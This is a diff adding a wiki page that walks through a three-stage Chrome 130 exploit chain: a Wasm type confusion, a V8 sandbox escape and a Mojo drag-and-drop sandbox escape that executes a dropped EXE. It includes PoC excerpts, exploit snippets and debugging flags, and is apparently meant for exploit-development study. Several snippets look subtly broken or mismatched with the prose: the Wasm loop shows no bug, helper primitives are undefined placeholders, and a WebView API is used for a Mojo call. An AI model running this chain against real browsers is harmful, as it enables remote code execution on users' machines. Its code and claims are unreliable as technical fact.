|
| 1 | +# Chrome Exploiting |
| 2 | + |
| 3 | +{{#include ../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface). |
| 6 | +> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research. |
| 7 | +
|
| 8 | +## 1. Chrome Architecture Recap |
| 9 | +Understanding the attack surface requires knowing where code is executed and which sandboxes apply. |
| 10 | + |
| 11 | +``` |
| 12 | ++-------------------------------------------------------------------------+ |
| 13 | +| Chrome Browser | |
| 14 | +| | |
| 15 | +| +----------------------------+ +-----------------------------+ | |
| 16 | +| | Renderer Process | | Browser/main Process | | |
| 17 | +| | [No direct OS access] | | [OS access] | | |
| 18 | +| | +----------------------+ | | | | |
| 19 | +| | | V8 Sandbox | | | | | |
| 20 | +| | | [JavaScript / Wasm] | | | | | |
| 21 | +| | +----------------------+ | | | | |
| 22 | +| +----------------------------+ +-----------------------------+ | |
| 23 | +| | IPC/Mojo | | |
| 24 | +| V | | |
| 25 | +| +----------------------------+ | | |
| 26 | +| | GPU Process | | | |
| 27 | +| | [Restricted OS access] | | | |
| 28 | +| +----------------------------+ | | |
| 29 | ++-------------------------------------------------------------------------+ |
| 30 | +``` |
| 31 | + |
| 32 | +Layered defence-in-depth: |
| 33 | + |
| 34 | +* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm. |
| 35 | +* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access. |
| 36 | +* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles). |
| 37 | + |
| 38 | +A *remote* attacker therefore needs **three** successive primitives: |
| 39 | + |
| 40 | +1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**. |
| 41 | +2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**. |
| 42 | +3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**. |
| 43 | + |
| 44 | +--- |
| 45 | + |
| 46 | +## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291) |
| 47 | + |
| 48 | +A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*. |
| 49 | + |
| 50 | +Effect: |
| 51 | +* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*. |
| 52 | +* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**. |
| 53 | + |
| 54 | +Minimal PoC (excerpt): |
| 55 | + |
| 56 | +```WebAssembly |
| 57 | +(module |
| 58 | + (type $t0 (func (param externref) (result externref))) |
| 59 | + (func $f (param $p externref) (result externref) |
| 60 | + (local $l externref) |
| 61 | + block $exit |
| 62 | + loop $loop |
| 63 | + local.get $p ;; value with real ref-type |
| 64 | + ;; compiler incorrectly re-uses it as int64 in the same block |
| 65 | + br_if $exit ;; exit condition keeps us single-block |
| 66 | + br $loop |
| 67 | + end |
| 68 | + end) |
| 69 | + (export "f" (func $f))) |
| 70 | +``` |
| 71 | + |
| 72 | +Trigger optimisation & spray objects from JS: |
| 73 | + |
| 74 | +```js |
| 75 | +const wasmMod = new WebAssembly.Module(bytes); |
| 76 | +const wasmInst = new WebAssembly.Instance(wasmMod); |
| 77 | +const f = wasmInst.exports.f; |
| 78 | + |
| 79 | +for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT |
| 80 | + |
| 81 | +// primitives |
| 82 | +let victim = {m: 13.37}; |
| 83 | +let fake = arbitrary_data_backed_typedarray; |
| 84 | +let addrVict = addrOf(victim); |
| 85 | +``` |
| 86 | + |
| 87 | +Outcome: **arbitrary read/write within V8**. |
| 88 | + |
| 89 | +--- |
| 90 | + |
| 91 | +## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430) |
| 92 | + |
| 93 | +When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*. |
| 94 | + |
| 95 | +Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox. |
| 96 | + |
| 97 | +Key steps in exploit: |
| 98 | +1. Get function into **Tier-Up** state by alternating turbofan/baseline code. |
| 99 | +2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`). |
| 100 | +3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`. |
| 101 | + |
| 102 | +Wrapper identification: |
| 103 | + |
| 104 | +```js |
| 105 | +function wrapperGen(arg) { |
| 106 | + return f(arg); |
| 107 | +} |
| 108 | +%WasmTierUpFunction(f); // force tier-up (internals-only flag) |
| 109 | +wrapperGen(0x1337n); |
| 110 | +``` |
| 111 | + |
| 112 | +After corruption we possess a fully-featured **renderer R/W primitive**. |
| 113 | + |
| 114 | +--- |
| 115 | + |
| 116 | +## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114) |
| 117 | + |
| 118 | +The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**. |
| 119 | + |
| 120 | +Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable ___location) onto the Desktop, where Windows automatically executes certain file-types once dropped. |
| 121 | + |
| 122 | +Example (simplified): |
| 123 | + |
| 124 | +```js |
| 125 | +const payloadPath = "C:\\Users\\Public\\explorer.exe"; |
| 126 | + |
| 127 | +chrome.webview.postMessage({ |
| 128 | + type: "DragStart", |
| 129 | + data: { |
| 130 | + title: "MyFile", |
| 131 | + file_path: payloadPath, |
| 132 | + mime_type: "application/x-msdownload" |
| 133 | + } |
| 134 | +}); |
| 135 | +``` |
| 136 | + |
| 137 | +No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges. |
| 138 | + |
| 139 | +--- |
| 140 | + |
| 141 | +## 5. Full Chain Flow |
| 142 | + |
| 143 | +1. **User visits** malicious webpage. |
| 144 | +2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW. |
| 145 | +3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox. |
| 146 | +4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload. |
| 147 | + |
| 148 | +Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS). |
| 149 | + |
| 150 | +--- |
| 151 | + |
| 152 | +## 6. Lab & Debugging Setup |
| 153 | + |
| 154 | +```bash |
| 155 | +# Spin-up local HTTP server w/ PoCs |
| 156 | +npm i -g http-server |
| 157 | +git clone https://github.com/Petitoto/chromium-exploit-dev |
| 158 | +cd chromium-exploit-dev |
| 159 | +http-server -p 8000 -c -1 |
| 160 | + |
| 161 | +# Windows kernel debugging |
| 162 | +"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols |
| 163 | +``` |
| 164 | + |
| 165 | +Useful flags when launching a *development* build of Chrome: |
| 166 | + |
| 167 | +```bash |
| 168 | +chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" |
| 169 | +``` |
| 170 | + |
| 171 | +--- |
| 172 | + |
| 173 | +## Takeaways |
| 174 | + |
| 175 | +* **WebAssembly JIT bugs** remain a reliable entry-point – the type system is still young. |
| 176 | +* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**. |
| 177 | +* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** – keep an eye on *non-memory* bugs. |
| 178 | + |
| 179 | + |
| 180 | + |
| 181 | +## References |
| 182 | +* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/) |
| 183 | +* [Chromium security architecture](https://chromium.org/developers/design-documents/security) |
| 184 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments